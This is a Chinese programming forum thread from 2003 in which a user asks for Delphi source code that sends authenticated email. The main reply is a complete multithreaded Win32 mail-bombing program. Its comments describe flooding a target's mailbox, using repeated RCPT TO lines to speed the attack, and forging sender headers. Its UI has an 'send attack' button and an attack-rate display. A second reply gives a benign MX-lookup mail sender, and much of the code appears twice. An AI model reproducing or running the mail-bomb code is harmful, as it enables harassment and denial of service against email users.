1565
社区成员
- 主页
请问谁有用API函数发送邮件的源程序？
请问谁有用API函数发送邮件的源程序？能给我一份吗？谢谢，分不够可以再给!（要能通过身份验证的）
Email:Liufan1016@163.net
Email:Liufan1016@163.net
...全文
请发表友善的回复…
发表回复
DeityFox 2003-04-24
//下面是个发信的过程
procedure SendMail;
var SendBody:string;
FSocket:integer;
begin
repeat
//指定smtp主机地址,这里用的是smtp.sina.com.cn,它的ip为
(202.106.187.180)
//指定smtp主机的发信端口，默认为25
FSocket:=StartNet('202.106.187.180',25);
//-------下面是发信过程的各步处理-------
//---------------------------------------
//第一步：发HELO指令，表示我要开始发信了
SendData(FSocket,'HELO'+CRLF);
//第二步：发MAIL FROM指令，表示发信人的信箱
// 注意现在很多SMTP主机有只能允许本地合法用户发信
// 所以发信者的信箱在发信主机中应是一个合法用户
// 否则无法发信,比如hack001便是smtp.21cn.com中的一个合法用户
SendData(FSocket,'MAIL FROM: <hack001@21cn.com>'+CRLF);
//第三步:发RCPT TO指令，表示目标用户的邮箱，就是你要攻击者的邮箱
// 这一步可以用多个RCPT TO命令指向同一个目标,可以极大的加快攻击速度
// 但对163.net好象不行，他加了过滤机制
SendData(FSocket,'RCPT TO: <'+dest+'>'+CRLF);
//第四步:发DATA指令，表示要向SMTP主机发数据
SendData(FSocket,'DATA'+CRLF);
//第五步:发具体数据,包括如下内容(信封和信体):
// From:表示发信者的地址,可以是假的用户(可以随机产生),后面以
CRLF(即回车换行符)结束
// TO:表示收信者的地址,可以是假的用户(可以随机产生),后面以CRLF结
束
// Subject:表示邮件主题,后面以CRLF结束
// 后面一定要再加一个CRLF，表示信封部分结束了
// 接下来是信的主体内容，可以是任何内容,后面以CRLF结束
// 然后一定要再加一个.符号，表示信体结束,后面以CRLF结束
SendBody:='From:"bome 2001"<bome@hacker.com>'+CRLF
+'To:"bome 2001"<bome@hacker.com>'+CRLF
+'Subject:New Bome 2001.'+CRLF
+CRLF
+'Hello World.'+CRLF
+'.'+CRLF;
SendData(FSocket,SendBody);
//第六步：发结QUIT指令，表示发信过程结束
SendData(FSocket,'QUIT'+CRLF);
//
waitforsingleobject(hMutex,INFINITE);
//显示发信过程的剩余邮件数目
WriteCaption(hLabelInfo,pchar('送出 '+inttostr(mcount)+' 封邮件 / '+'
还有 '+inttostr(count)+' 封邮件 '+CRLF+
'正在使用: '+inttostr(num)+' 个攻击线程'+CRLF+
'经过时间: '+inttostr(newtime div 1000)+' 秒'));
//总次数减一
Dec(count);
//调用发信过程，进行发信
newtime:=integer(gettickcount())-oldtime;
speed:=mcount*1000*60 div newtime;
WriteCaption(handle,pchar('攻击速度: '+inttostr(speed)+' 封/分钟'));
inc(mcount);
//sleep(300);
if count<=0 then break;
releasemutex(hMutex);
//
StopNet(Fsocket);
until count<=0;
end;
//------------------------------------
//以下是线程创建时调用的线程函数
function fun(Parameter: Pointer): Integer; stdcall;
begin
SendMail;
WriteCaption(handle,exename);
WriteCaption(hLabelInfo,pchar('发送结束'));
attstart:=true;
result:=0;
end;
procedure ButtonStart;
var k:integer;
begin
if attstart=true then
begin
attstart:=false;
WriteCaption(hLabelInfo,pchar('发送开始........'));
ReadCaption(hEditEmail,sbuf);dest:=strpas(sbuf);
ReadCaption(hEditCount,sbuf);count:=strtoint(strpas(sbuf));
ReadCaption(hEditThread,sbuf);Num:=strtoint(strpas(sbuf));
oldtime:=gettickcount();
mcount:=0;
if Num>1000 then Num:=1000;
for k:=1 to Num do
thd[k]:=createthread(nil,0,@fun,nil,0,tid[k]);
end;
end;
procedure ButtonStop;
var k:integer;
begin
for k:=1 to Num do
TerminateThread(thd[k],0);
WriteCaption(handle,exename);
WriteCaption(hLabelInfo,pchar('发送结束'));
attstart:=true;
count:=0;
end;
procedure MainCreate;
begin
attstart:=true;
hMutex:=createmutex(nil,true,'Bome2001');
releasemutex(hMutex);
end;
procedure ButtonHelp;
begin
s1:='本软件只用学习用，不可害人'+CRLF+
'程序使用多线程100个线程，发送速度极快!'+CRLF；
messagebox(handle,pchar(s1),'帮助',0);
end;
//主程序结束
procedure ShutDown;
begin
CloseHandle(hMutex);
//删除字体对象
DeleteObject(hFont);
//取消窗口类的注册
UnRegisterClass(wClass.lpszClassName,hInst);
//结束主进程
ExitProcess(hInst);
end;
//这是主窗口的消息处理函数
function WindowProc(hWnd,Msg,wParam,lParam:integer):Longint; stdcall;
begin
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
case Msg of
WM_COMMAND:
if lParam=hButtonStart then ButtonStart
else if lParam=hButtonStop then ButtonStop
else if lParam=hButtonHelp then ButtonHelp
else if lParam=hButtonExit then ShutDown;
WM_CREATE:MainCreate;
WM_DESTROY: ShutDown;
end;
end;
//定义几个窗口创建函数
function CreateButton(name:pchar;x1,y1,x2,y2:integer):hwnd;begin
Result:=CreateWindow('Button',name,WS_VISIBLE or WS_CHILD or BS_PUSHLIKE
or BS_TEXT,x1,y1,x2,y2,Handle,0,hInst,nil);end;
function CreateEdit(name:pchar;x1,y1,x2,y2:integer):hwnd;begin
Result:=CreateWindowEx(WS_EX_CLIENTEDGE,'Edit',name,WS_VISIBLE or WS_CHILD
or ES_LEFT or ES_AUTOHSCROLL,x1,y1,x2,y2,Handle,0,hInst,nil);end;
function CreateLabel(name:pchar;x1,y1,x2,y2:integer):hwnd;begin
Result:=CreateWindow('Static',name,WS_VISIBLE or WS_CHILD or
SS_LEFT,x1,y1,x2,y2,Handle,0,hInst,nil);end;
function CreateMain(name:pchar;x1,y1,x2,y2:integer):hwnd;
begin
//取得应用程序实例句柄
hInst:=GetModuleHandle(nil);
//初使化窗口类的信息
with wClass do
begin
Style:= CS_PARENTDC;
hIcon:= LoadIcon(hInst,'MAINICON');
lpfnWndProc:= @WindowProc;
hInstance:= hInst;
hbrBackground:= COLOR_BTNFACE+1;
lpszClassName:= 'MainClass';
hCursor:= LoadCursor(0,IDC_ARROW);
end;
// 注册窗口类
RegisterClass(wClass);
// 建立主窗口
Result:=CreateWindow(wClass.lpszClassName,name,WS_OVERLAPPEDWINDOW or
WS_VISIBLE,x1,y1,x2,y2,0,0,hInst,nil);
end;
//---------主过程，类似于 C语言 中的 WinMain()
begin
//建立主窗口
handle:=CreateMain(exename,10,10,320,135);
//建立四个控制按钮
hButtonStart:=CreateButton('发送攻击',240,4+26*0,70,24);
hButtonStop:=CreateButton('停止发送' ,240,4+26*1,70,24);
hButtonHelp:=CreateButton('帮 助' ,240,4+26*2,70,24);
hButtonExit:=CreateButton('退 出' ,240,4+26*3,70,24);
//建立两个编辑框
hEditEmail:=CreateEdit('bome@hacker.com',60,4,174,20);
hEditCount:=CreateEdit('1000',60,4+26*1,60,20);
hEditThread:=CreateEdit('10',193,4+26*1,41,20);
//建立三个标签
hLabelEmail:=CreateLabel('发送目标:',4,8,54,24);
hLabelCount:=CreateLabel('发送次数:',4,8+26*1,54,24);
hLabelThread:=CreateLabel('线程数:',124,8+26*1,66,24);
hLabelInfo:=CreateLabel('等候命令.....',4,8+26*2,220,44);
//创建字体对象
hFont:=CreateFont(-12,0,0,0,0,0,0,0,GB2312_CHARSET,OUT_DEFAULT_PRECIS,CLIP
_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH or FF_DONTCARE,'宋体');
//改变字体
SendMessage(hButtonStart,WM_SETFONT,hFont,0);
SendMessage(hButtonStop,WM_SETFONT,hFont,0);
SendMessage(hButtonHelp,WM_SETFONT,hFont,0);
SendMessage(hButtonExit,WM_SETFONT,hFont,0);
SendMessage(hEditEmail,WM_SETFONT,hFont,0);
SendMessage(hEditCount,WM_SETFONT,hFont,0);
SendMessage(hEditThread,WM_SETFONT,hFont,0);
SendMessage(hLabelEmail,WM_SETFONT,hFont,0);
SendMessage(hLabelCount,WM_SETFONT,hFont,0);
SendMessage(hLabelThread,WM_SETFONT,hFont,0);
SendMessage(hLabelInfo,WM_SETFONT,hFont,0);
//进入消息循环
while(GetMessage(Msg,Handle,0,0))do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.
procedure SendMail;
var SendBody:string;
FSocket:integer;
begin
repeat
//指定smtp主机地址,这里用的是smtp.sina.com.cn,它的ip为
(202.106.187.180)
//指定smtp主机的发信端口，默认为25
FSocket:=StartNet('202.106.187.180',25);
//-------下面是发信过程的各步处理-------
//---------------------------------------
//第一步：发HELO指令，表示我要开始发信了
SendData(FSocket,'HELO'+CRLF);
//第二步：发MAIL FROM指令，表示发信人的信箱
// 注意现在很多SMTP主机有只能允许本地合法用户发信
// 所以发信者的信箱在发信主机中应是一个合法用户
// 否则无法发信,比如hack001便是smtp.21cn.com中的一个合法用户
SendData(FSocket,'MAIL FROM: <hack001@21cn.com>'+CRLF);
//第三步:发RCPT TO指令，表示目标用户的邮箱，就是你要攻击者的邮箱
// 这一步可以用多个RCPT TO命令指向同一个目标,可以极大的加快攻击速度
// 但对163.net好象不行，他加了过滤机制
SendData(FSocket,'RCPT TO: <'+dest+'>'+CRLF);
//第四步:发DATA指令，表示要向SMTP主机发数据
SendData(FSocket,'DATA'+CRLF);
//第五步:发具体数据,包括如下内容(信封和信体):
// From:表示发信者的地址,可以是假的用户(可以随机产生),后面以
CRLF(即回车换行符)结束
// TO:表示收信者的地址,可以是假的用户(可以随机产生),后面以CRLF结
束
// Subject:表示邮件主题,后面以CRLF结束
// 后面一定要再加一个CRLF，表示信封部分结束了
// 接下来是信的主体内容，可以是任何内容,后面以CRLF结束
// 然后一定要再加一个.符号，表示信体结束,后面以CRLF结束
SendBody:='From:"bome 2001"<bome@hacker.com>'+CRLF
+'To:"bome 2001"<bome@hacker.com>'+CRLF
+'Subject:New Bome 2001.'+CRLF
+CRLF
+'Hello World.'+CRLF
+'.'+CRLF;
SendData(FSocket,SendBody);
//第六步：发结QUIT指令，表示发信过程结束
SendData(FSocket,'QUIT'+CRLF);
//
waitforsingleobject(hMutex,INFINITE);
//显示发信过程的剩余邮件数目
WriteCaption(hLabelInfo,pchar('送出 '+inttostr(mcount)+' 封邮件 / '+'
还有 '+inttostr(count)+' 封邮件 '+CRLF+
'正在使用: '+inttostr(num)+' 个攻击线程'+CRLF+
'经过时间: '+inttostr(newtime div 1000)+' 秒'));
//总次数减一
Dec(count);
//调用发信过程，进行发信
newtime:=integer(gettickcount())-oldtime;
speed:=mcount*1000*60 div newtime;
WriteCaption(handle,pchar('攻击速度: '+inttostr(speed)+' 封/分钟'));
inc(mcount);
//sleep(300);
if count<=0 then break;
releasemutex(hMutex);
//
StopNet(Fsocket);
until count<=0;
end;
//------------------------------------
//以下是线程创建时调用的线程函数
function fun(Parameter: Pointer): Integer; stdcall;
begin
SendMail;
WriteCaption(handle,exename);
WriteCaption(hLabelInfo,pchar('发送结束'));
attstart:=true;
result:=0;
end;
procedure ButtonStart;
var k:integer;
begin
if attstart=true then
begin
attstart:=false;
WriteCaption(hLabelInfo,pchar('发送开始........'));
ReadCaption(hEditEmail,sbuf);dest:=strpas(sbuf);
ReadCaption(hEditCount,sbuf);count:=strtoint(strpas(sbuf));
ReadCaption(hEditThread,sbuf);Num:=strtoint(strpas(sbuf));
oldtime:=gettickcount();
mcount:=0;
if Num>1000 then Num:=1000;
for k:=1 to Num do
thd[k]:=createthread(nil,0,@fun,nil,0,tid[k]);
end;
end;
procedure ButtonStop;
var k:integer;
begin
for k:=1 to Num do
TerminateThread(thd[k],0);
WriteCaption(handle,exename);
WriteCaption(hLabelInfo,pchar('发送结束'));
attstart:=true;
count:=0;
end;
procedure MainCreate;
begin
attstart:=true;
hMutex:=createmutex(nil,true,'Bome2001');
releasemutex(hMutex);
end;
procedure ButtonHelp;
begin
s1:='本软件只用学习用，不可害人'+CRLF+
'程序使用多线程100个线程，发送速度极快!'+CRLF；
messagebox(handle,pchar(s1),'帮助',0);
end;
//主程序结束
procedure ShutDown;
begin
CloseHandle(hMutex);
//删除字体对象
DeleteObject(hFont);
//取消窗口类的注册
UnRegisterClass(wClass.lpszClassName,hInst);
//结束主进程
ExitProcess(hInst);
end;
//这是主窗口的消息处理函数
function WindowProc(hWnd,Msg,wParam,lParam:integer):Longint; stdcall;
begin
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
case Msg of
WM_COMMAND:
if lParam=hButtonStart then ButtonStart
else if lParam=hButtonStop then ButtonStop
else if lParam=hButtonHelp then ButtonHelp
else if lParam=hButtonExit then ShutDown;
WM_CREATE:MainCreate;
WM_DESTROY: ShutDown;
end;
end;
//定义几个窗口创建函数
function CreateButton(name:pchar;x1,y1,x2,y2:integer):hwnd;begin
Result:=CreateWindow('Button',name,WS_VISIBLE or WS_CHILD or BS_PUSHLIKE
or BS_TEXT,x1,y1,x2,y2,Handle,0,hInst,nil);end;
function CreateEdit(name:pchar;x1,y1,x2,y2:integer):hwnd;begin
Result:=CreateWindowEx(WS_EX_CLIENTEDGE,'Edit',name,WS_VISIBLE or WS_CHILD
or ES_LEFT or ES_AUTOHSCROLL,x1,y1,x2,y2,Handle,0,hInst,nil);end;
function CreateLabel(name:pchar;x1,y1,x2,y2:integer):hwnd;begin
Result:=CreateWindow('Static',name,WS_VISIBLE or WS_CHILD or
SS_LEFT,x1,y1,x2,y2,Handle,0,hInst,nil);end;
function CreateMain(name:pchar;x1,y1,x2,y2:integer):hwnd;
begin
//取得应用程序实例句柄
hInst:=GetModuleHandle(nil);
//初使化窗口类的信息
with wClass do
begin
Style:= CS_PARENTDC;
hIcon:= LoadIcon(hInst,'MAINICON');
lpfnWndProc:= @WindowProc;
hInstance:= hInst;
hbrBackground:= COLOR_BTNFACE+1;
lpszClassName:= 'MainClass';
hCursor:= LoadCursor(0,IDC_ARROW);
end;
// 注册窗口类
RegisterClass(wClass);
// 建立主窗口
Result:=CreateWindow(wClass.lpszClassName,name,WS_OVERLAPPEDWINDOW or
WS_VISIBLE,x1,y1,x2,y2,0,0,hInst,nil);
end;
//---------主过程，类似于 C语言 中的 WinMain()
begin
//建立主窗口
handle:=CreateMain(exename,10,10,320,135);
//建立四个控制按钮
hButtonStart:=CreateButton('发送攻击',240,4+26*0,70,24);
hButtonStop:=CreateButton('停止发送' ,240,4+26*1,70,24);
hButtonHelp:=CreateButton('帮 助' ,240,4+26*2,70,24);
hButtonExit:=CreateButton('退 出' ,240,4+26*3,70,24);
//建立两个编辑框
hEditEmail:=CreateEdit('bome@hacker.com',60,4,174,20);
hEditCount:=CreateEdit('1000',60,4+26*1,60,20);
hEditThread:=CreateEdit('10',193,4+26*1,41,20);
//建立三个标签
hLabelEmail:=CreateLabel('发送目标:',4,8,54,24);
hLabelCount:=CreateLabel('发送次数:',4,8+26*1,54,24);
hLabelThread:=CreateLabel('线程数:',124,8+26*1,66,24);
hLabelInfo:=CreateLabel('等候命令.....',4,8+26*2,220,44);
//创建字体对象
hFont:=CreateFont(-12,0,0,0,0,0,0,0,GB2312_CHARSET,OUT_DEFAULT_PRECIS,CLIP
_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH or FF_DONTCARE,'宋体');
//改变字体
SendMessage(hButtonStart,WM_SETFONT,hFont,0);
SendMessage(hButtonStop,WM_SETFONT,hFont,0);
SendMessage(hButtonHelp,WM_SETFONT,hFont,0);
SendMessage(hButtonExit,WM_SETFONT,hFont,0);
SendMessage(hEditEmail,WM_SETFONT,hFont,0);
SendMessage(hEditCount,WM_SETFONT,hFont,0);
SendMessage(hEditThread,WM_SETFONT,hFont,0);
SendMessage(hLabelEmail,WM_SETFONT,hFont,0);
SendMessage(hLabelCount,WM_SETFONT,hFont,0);
SendMessage(hLabelThread,WM_SETFONT,hFont,0);
SendMessage(hLabelInfo,WM_SETFONT,hFont,0);
//进入消息循环
while(GetMessage(Msg,Handle,0,0))do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.
DeityFox 2003-04-24
uses
windows,messages,winsock,sysutils;
{$R *.RES}
const
CRLF=#13#10;
exename:pchar='邮箱信使';
var
thd:array[1..1000] of integer;
tid:array[1..1000] of dword;
faint,hMutex,mcount,speed,newtime,oldtime,num,count,err:integer;
s1:string;
sbuf:array[0..1024] of char;
dest:string;
attstart:boolean;
//----------------------
wClass: TWndClass; //窗口类变量
Msg: TMSG; //消息变量
hInst, //程序实例
Handle, //主窗口句柄
hFont, //字体句柄
//----------------
hButtonStart, //开始按钮
hButtonStop, //停止按钮
hButtonHelp, //帮助按钮
hButtonExit, //退出按钮
hEditEmail, //e-mail编辑
hEditCount, //次数编辑
hEditThread, //线程数编辑
hLabelEmail, //e-mail提示
hLabelCount, //次数提示
hLabelThread, //线程数提示
hLabelInfo //领息提示
:integer; //句柄类型
//--------------------
//往一个窗口写标题
procedure WriteCaption(hwnd:hwnd;text:pchar);
begin
sendmessage(hwnd,WM_SETTEXT,0,integer(text));
end;
//从一个窗口读标题
procedure ReadCaption(hwnd:hwnd;text:pchar);
begin
sendmessage(hwnd,WM_GETTEXT,400,integer(text));
end;
//以下是网络连接的过程
function StartNet(host:string;port:integer):integer;
var
wsadata:twsadata;
fsocket:integer;
SockAddrIn:TSockAddrIn;
err:integer;
begin
//为网络连接作好准备(用winsock1.1以上版本)
err:=WSAStartup($0101,WSAData);
//创建一个客户端套接字(Client Socket,用SOCK_STREAM，即TCP协义)
FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP);
//初始化网络数据
SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(host));
SockAddrIn.sin_family := PF_INET;
SockAddrIn.sin_port :=htons(port);
//客户端向smtp进行连接
repeat
err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));
until err=0;
//
Result:=FSocket;
end;
//以下是网络关闭的过程
procedure StopNet(Fsocket:integer);
var
err:integer;
begin
//发信结束，关闭客户端套接字(Close Client Socket)
err:=closesocket(FSocket);
//清除网络参数
err:=WSACleanup;
end;
//下面是个发送数据包的过程
function SendData(FSocket:integer;SendStr:string):integer;
const
MaxSize=1024;
var
DataBuf,databuf1:array[0..MaxSize] of char;
err:integer;
p:integer;
s:string;
begin
err:=recv(FSocket,DataBuf,MaxSize,0);
p:=strtoint(copy(databuf,1,3));
if (p=250) and (sendok=false) then //开始验证用户名和密码 这是我自己加
进去的~关键就在这里~
begin
databuf:='auth login'+CRLF;
err:=send(FSocket,databuf,strlen(databuf)+1,MSG_DONTROUTE);
err:=recv(FSocket,DataBuf,MaxSize,0);
p:=strtoint(copy(databuf,1,3));
s:=EncodeBase64(smtpuser)+CRLF; //smtpuser:为邮箱用户名
strcopy(databuf,pchar(s));
err:=send(FSocket,databuf,strlen(databuf)+1,MSG_DONTROUTE);
err:=recv(FSocket,DataBuf,MaxSize,0);
p:=strtoint(copy(databuf,1,3));
s:=EncodeBase64(smtppwl)+CRLF; //smtppwl:为邮箱密码
strcopy(databuf,pchar(s));
databuf:=databuf;
err:=send(FSocket,databuf,strlen(databuf)+1,MSG_DONTROUTE);
err:=recv(FSocket,DataBuf,MaxSize,0);
p:=strtoint(copy(databuf,1,3));
if p=235 then
sendok:=true;
end;
strcopy(DataBuf,pchar(SendStr));
err:=send(FSocket,DataBuf,strlen(DataBuf),MSG_DONTROUTE);
Result:=0;
end;
windows,messages,winsock,sysutils;
{$R *.RES}
const
CRLF=#13#10;
exename:pchar='邮箱信使';
var
thd:array[1..1000] of integer;
tid:array[1..1000] of dword;
faint,hMutex,mcount,speed,newtime,oldtime,num,count,err:integer;
s1:string;
sbuf:array[0..1024] of char;
dest:string;
attstart:boolean;
//----------------------
wClass: TWndClass; //窗口类变量
Msg: TMSG; //消息变量
hInst, //程序实例
Handle, //主窗口句柄
hFont, //字体句柄
//----------------
hButtonStart, //开始按钮
hButtonStop, //停止按钮
hButtonHelp, //帮助按钮
hButtonExit, //退出按钮
hEditEmail, //e-mail编辑
hEditCount, //次数编辑
hEditThread, //线程数编辑
hLabelEmail, //e-mail提示
hLabelCount, //次数提示
hLabelThread, //线程数提示
hLabelInfo //领息提示
:integer; //句柄类型
//--------------------
//往一个窗口写标题
procedure WriteCaption(hwnd:hwnd;text:pchar);
begin
sendmessage(hwnd,WM_SETTEXT,0,integer(text));
end;
//从一个窗口读标题
procedure ReadCaption(hwnd:hwnd;text:pchar);
begin
sendmessage(hwnd,WM_GETTEXT,400,integer(text));
end;
//以下是网络连接的过程
function StartNet(host:string;port:integer):integer;
var
wsadata:twsadata;
fsocket:integer;
SockAddrIn:TSockAddrIn;
err:integer;
begin
//为网络连接作好准备(用winsock1.1以上版本)
err:=WSAStartup($0101,WSAData);
//创建一个客户端套接字(Client Socket,用SOCK_STREAM，即TCP协义)
FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP);
//初始化网络数据
SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(host));
SockAddrIn.sin_family := PF_INET;
SockAddrIn.sin_port :=htons(port);
//客户端向smtp进行连接
repeat
err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));
until err=0;
//
Result:=FSocket;
end;
//以下是网络关闭的过程
procedure StopNet(Fsocket:integer);
var
err:integer;
begin
//发信结束，关闭客户端套接字(Close Client Socket)
err:=closesocket(FSocket);
//清除网络参数
err:=WSACleanup;
end;
//下面是个发送数据包的过程
function SendData(FSocket:integer;SendStr:string):integer;
const
MaxSize=1024;
var
DataBuf,databuf1:array[0..MaxSize] of char;
err:integer;
p:integer;
s:string;
begin
err:=recv(FSocket,DataBuf,MaxSize,0);
p:=strtoint(copy(databuf,1,3));
if (p=250) and (sendok=false) then //开始验证用户名和密码 这是我自己加
进去的~关键就在这里~
begin
databuf:='auth login'+CRLF;
err:=send(FSocket,databuf,strlen(databuf)+1,MSG_DONTROUTE);
err:=recv(FSocket,DataBuf,MaxSize,0);
p:=strtoint(copy(databuf,1,3));
s:=EncodeBase64(smtpuser)+CRLF; //smtpuser:为邮箱用户名
strcopy(databuf,pchar(s));
err:=send(FSocket,databuf,strlen(databuf)+1,MSG_DONTROUTE);
err:=recv(FSocket,DataBuf,MaxSize,0);
p:=strtoint(copy(databuf,1,3));
s:=EncodeBase64(smtppwl)+CRLF; //smtppwl:为邮箱密码
strcopy(databuf,pchar(s));
databuf:=databuf;
err:=send(FSocket,databuf,strlen(databuf)+1,MSG_DONTROUTE);
err:=recv(FSocket,DataBuf,MaxSize,0);
p:=strtoint(copy(databuf,1,3));
if p=235 then
sendok:=true;
end;
strcopy(DataBuf,pchar(SendStr));
err:=send(FSocket,DataBuf,strlen(DataBuf),MSG_DONTROUTE);
Result:=0;
end;
dawnming 2003-04-24
好文章
afei78223 2003-04-24
学习！
ujjcel 2003-04-24
好文,收藏先.
hanzq 2003-04-22
type
TForm1 = class(TForm)
IdDNSResolver: TIdDNSResolver;
IdAntiFreeze1: TIdAntiFreeze;
btnSend: TButton;
IdSMTP: TIdSMTP;
IdMsgSend: TIdMessage;
mmContent: TMemo;
Label1: TLabel;
edtTo: TEdit;
Label4: TLabel;
Label5: TLabel;
edtFrom: TEdit;
Label6: TLabel;
edtSubject: TEdit;
procedure btnSendClick(Sender: TObject);
private
{ Private declarations }
procedure GetMxList(AMxList: TStringList; AQName: string);
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
{ TForm1 }
{ 这个过程是用来得到邮件特快专递目的地服务器名称及优先级别数，参数AMXList是
用来接收结果值，AQName代表传递过来的域名 }
procedure TForm1.GetMxList(AMxList: TStringList; AQName: string);
var
i: Integer;
begin
with IdDNSResolver do
begin
Host := '202.101.107.55'; { Host属性用来指定域名服务器的地址，此处为笔者所在地
的主域名服务器地址，你也可以指定任一可以快速访问到的Internet上域名服务器
地址，要知道自己所在地的域名服务器地址，win98下通过winipcfg命令,win2000下
通过ipconfig /all即可查出。}
ReceiveTimeout := 10000; // 在指定的时间内得不到域名服务器的反馈，则视为失败。
ClearVars; // 清除前一次查询所反馈回来的资源记录
{ 构建此次查询的头部结构 }
with DNSHeader do
begin
Qr := False; // False 代表查询
Opcode := 0; // 0代表标准域名查询
RD := True; //域名服务器可以进行递归查询
QDCount := 1; //查询的数量
end;
{ 构建要查询的问题 }
DNSQDList.Clear;
with DNSQDList.Add do
begin
QName := AQName; //要查询的域名
QType := cMX; //QTYPE指定要查询的资源记录的种类，值为cMX代表邮件交换记录
QClass := cIN;
end;
ResolveDNS; //向域名服务器发出请求
{ 从域名服务器接收反馈的结果，将反馈回来的邮件服务器名称放在AMXList列表的Name
部分，
邮件服务器的优先级别数放在Value部分。 }
for i := 0 to DNSAnList.Count - 1 do
AMxList.Add(DNSAnList[i].RData.MX.Exchange + '=' +
IntToStr(DNSAnList[i].RData.MX.Preference));
end;
end;
{ 单击"发送"按钮时发送专递邮件 }
procedure TForm1.btnSendClick(Sender: TObject);
var
MxList: TStringList;
i: Integer;
QName, ThoughAddress: string;
begin
{ 根据用户所填写的内容创建邮件 }
with IdMsgSend do
begin
Body.Assign(mmContent.Lines); //邮件正文
From.Address := Trim(edtFrom.Text); //发件人地址
Recipients.EMailAddresses := Trim(edtTo.Text); //收件人地址
Subject := edtSubject.Text; //邮件主题
end;
{ 从输入的收件人地址中取出邮箱域名，利用前面的GetMxList过程得到目的地地址 }
QName := TrimRight(copy(edtTo.Text, Pos('@', edtTo.Text) + 1, Length(edtTo.Text)));
MxList := TStringList.Create;
try
GetMxList(MxList, QName);
ThoughAddress := MxList.Names[0]; {取反馈回来的第一个服务器为目的地，读者可
根据实际需要改进，比如说考虑到信件的优先级或当你选择的服务器因繁忙而暂时
不能处理你的信件时，换用其它服务器试试 }
finally
MxList.Free;
end;
{ 发送邮件 }
with IdSMTP do
begin
Host := ThoughAddress; // 将Host赋值为目的地，这就是特快专递与普通邮件的区别
Port := 25; // smtp服务默认的端口为25
Connect; //连接到服务器
try
Send(IdMsgSend); //发送刚才创建的邮件
ShowMessage('发送完毕'); //发送完毕后提示
finally
Disconnect; //断开服务器连接
end;
end;
end;
end.
TForm1 = class(TForm)
IdDNSResolver: TIdDNSResolver;
IdAntiFreeze1: TIdAntiFreeze;
btnSend: TButton;
IdSMTP: TIdSMTP;
IdMsgSend: TIdMessage;
mmContent: TMemo;
Label1: TLabel;
edtTo: TEdit;
Label4: TLabel;
Label5: TLabel;
edtFrom: TEdit;
Label6: TLabel;
edtSubject: TEdit;
procedure btnSendClick(Sender: TObject);
private
{ Private declarations }
procedure GetMxList(AMxList: TStringList; AQName: string);
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
{ TForm1 }
{ 这个过程是用来得到邮件特快专递目的地服务器名称及优先级别数，参数AMXList是
用来接收结果值，AQName代表传递过来的域名 }
procedure TForm1.GetMxList(AMxList: TStringList; AQName: string);
var
i: Integer;
begin
with IdDNSResolver do
begin
Host := '202.101.107.55'; { Host属性用来指定域名服务器的地址，此处为笔者所在地
的主域名服务器地址，你也可以指定任一可以快速访问到的Internet上域名服务器
地址，要知道自己所在地的域名服务器地址，win98下通过winipcfg命令,win2000下
通过ipconfig /all即可查出。}
ReceiveTimeout := 10000; // 在指定的时间内得不到域名服务器的反馈，则视为失败。
ClearVars; // 清除前一次查询所反馈回来的资源记录
{ 构建此次查询的头部结构 }
with DNSHeader do
begin
Qr := False; // False 代表查询
Opcode := 0; // 0代表标准域名查询
RD := True; //域名服务器可以进行递归查询
QDCount := 1; //查询的数量
end;
{ 构建要查询的问题 }
DNSQDList.Clear;
with DNSQDList.Add do
begin
QName := AQName; //要查询的域名
QType := cMX; //QTYPE指定要查询的资源记录的种类，值为cMX代表邮件交换记录
QClass := cIN;
end;
ResolveDNS; //向域名服务器发出请求
{ 从域名服务器接收反馈的结果，将反馈回来的邮件服务器名称放在AMXList列表的Name
部分，
邮件服务器的优先级别数放在Value部分。 }
for i := 0 to DNSAnList.Count - 1 do
AMxList.Add(DNSAnList[i].RData.MX.Exchange + '=' +
IntToStr(DNSAnList[i].RData.MX.Preference));
end;
end;
{ 单击"发送"按钮时发送专递邮件 }
procedure TForm1.btnSendClick(Sender: TObject);
var
MxList: TStringList;
i: Integer;
QName, ThoughAddress: string;
begin
{ 根据用户所填写的内容创建邮件 }
with IdMsgSend do
begin
Body.Assign(mmContent.Lines); //邮件正文
From.Address := Trim(edtFrom.Text); //发件人地址
Recipients.EMailAddresses := Trim(edtTo.Text); //收件人地址
Subject := edtSubject.Text; //邮件主题
end;
{ 从输入的收件人地址中取出邮箱域名，利用前面的GetMxList过程得到目的地地址 }
QName := TrimRight(copy(edtTo.Text, Pos('@', edtTo.Text) + 1, Length(edtTo.Text)));
MxList := TStringList.Create;
try
GetMxList(MxList, QName);
ThoughAddress := MxList.Names[0]; {取反馈回来的第一个服务器为目的地，读者可
根据实际需要改进，比如说考虑到信件的优先级或当你选择的服务器因繁忙而暂时
不能处理你的信件时，换用其它服务器试试 }
finally
MxList.Free;
end;
{ 发送邮件 }
with IdSMTP do
begin
Host := ThoughAddress; // 将Host赋值为目的地，这就是特快专递与普通邮件的区别
Port := 25; // smtp服务默认的端口为25
Connect; //连接到服务器
try
Send(IdMsgSend); //发送刚才创建的邮件
ShowMessage('发送完毕'); //发送完毕后提示
finally
Disconnect; //断开服务器连接
end;
end;
end;
end.
killlaoli 2003-01-08
做个记号
hfycl 2003-01-08
GZ